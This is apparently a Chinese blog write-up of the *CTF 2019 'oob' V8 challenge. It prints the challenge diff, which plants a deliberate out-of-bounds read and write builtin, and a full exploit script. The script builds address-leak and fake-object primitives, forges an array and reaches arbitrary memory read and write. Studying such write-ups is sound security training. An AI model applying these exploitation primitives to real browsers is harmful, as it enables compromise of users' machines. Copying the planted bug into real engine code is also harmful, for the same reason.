*ctf 2019 oob

diff文件如下

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                      \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     case Builtins::kArrayBufferIsView:


+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 

此处存在越界读写漏洞
越界读a.oob();
越界写a.oob(data);
在这里插入图片描述
查看js数组对象的内存结构
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

element元素存储了数组长度以及数值。在element下方存储了map元素。
在这里插入图片描述
map元素表明了该对象的属性为double数组。
在js语言中存在对象数组其中存储方式是将各个对象的对象指针放到element中因此如果对象数组的map如果被改成了其他的类型就可以泄露出对象的存储地址。

function leak_obj_addr(target){
  d_map = leak_map(a) - 1n;
  obj_map = leak_map(obj) - 1n;
  obj[0] = target;
  obj.oob(ltd(d_map + 1n));
  addr = dtl(obj[0]);
  obj.oob(ltd(obj_map + 1n));
  return addr;
}

可以泄露地址和修改对象类型以后我们可以伪造一个数组对象实现任意读和任意写

var fake_array = [
	ltd(leak_map(a)),//fake_array - 0x30
	ltd(0n),
	ltd(0x41414141n),//element
	ltd(0x1000000000n),
	1.11,
	2.21,
	];

在这里插入图片描述

成功伪造以后0x41414141n就是element的地址(leaker[0]指向element + 0x10)
所以我们可以通过修改fake_array[2]实现任意读和任意写。
但是浮点数在写高地址的时候会出错所以改用data_view来写入。

var data_buf = new ArrayBuffer(8);//data_buf + 0x20就是data_view_store的地址可以从这里实现任意写
var data_view = new DataView(data_buf);

在这里插入图片描述

成功任意写。

function read(leaker,addr){
 fake_array[2] = addr - 0x10n + 1n;
 return dtl(leaker[0]) - 1n;
 
}

任意读
我的虚拟机库版本和题目不一样所以没有hook可以触发,故复现到任意读写就算完成。

var a = [1.1, 2.0];
var obj = [a];
var b = [1, 2];
var raw_buf = new ArrayBuffer(8);
var d = new Float64Array(raw_buf);
var l = new BigUint64Array(raw_buf);
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);

function leak_map(target){
  d[0] = target.oob();
  return l[0];
}
function leak_obj_addr(target){
  d_map = leak_map(a) - 1n;
  obj_map = leak_map(obj) - 1n;
  obj[0] = target;
  obj.oob(ltd(d_map + 1n));
  addr = dtl(obj[0]);
  obj.oob(ltd(obj_map + 1n));
  return addr;
}
function fake_obj(target){
 a[0] = target;
 obj_map = leak_map(obj);
 d_map = leak_map(a);
 a.oob(ltd(obj_map));
 fo = a[0];
 a.oob(ltd(d_map));
 return fo;
}
function write(leaker,addr,data){
  leaker[0] = ltd(addr);
  console.log(addr);
  data_view.setBigUint64(0, data, true);
}
function debug(o){
        %DebugPrint(o);
        %SystemBreak();
}
function dtl(num)
{
        d[0] = num;
        return l[0];
}

function ltd(num)
{
        l[0] = num;
        return d[0];
}
function read(leaker,addr){
 fake_array[2] = addr - 0x10n + 1n;
 return dtl(leaker[0]) - 1n;
 
}
//console.log(leak.toString(16));
//debug(a)
var fake_array = [
	ltd(leak_map(a)),
	ltd(0n),
	ltd(0x41414141n),//element
	ltd(0x1000000000n),
	1.11,
	2.21,
	];
leak = leak_obj_addr(fake_array);
var leaker = fake_obj(ltd(leak - 0x30n));
data_view_store = leak_obj_addr(data_buf) + 0x20n - 1n;
fake_array[2] = ltd(data_view_store - 0x10n + 1n);
write(leaker,leak,0x4141414141414141n);
  • 11
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值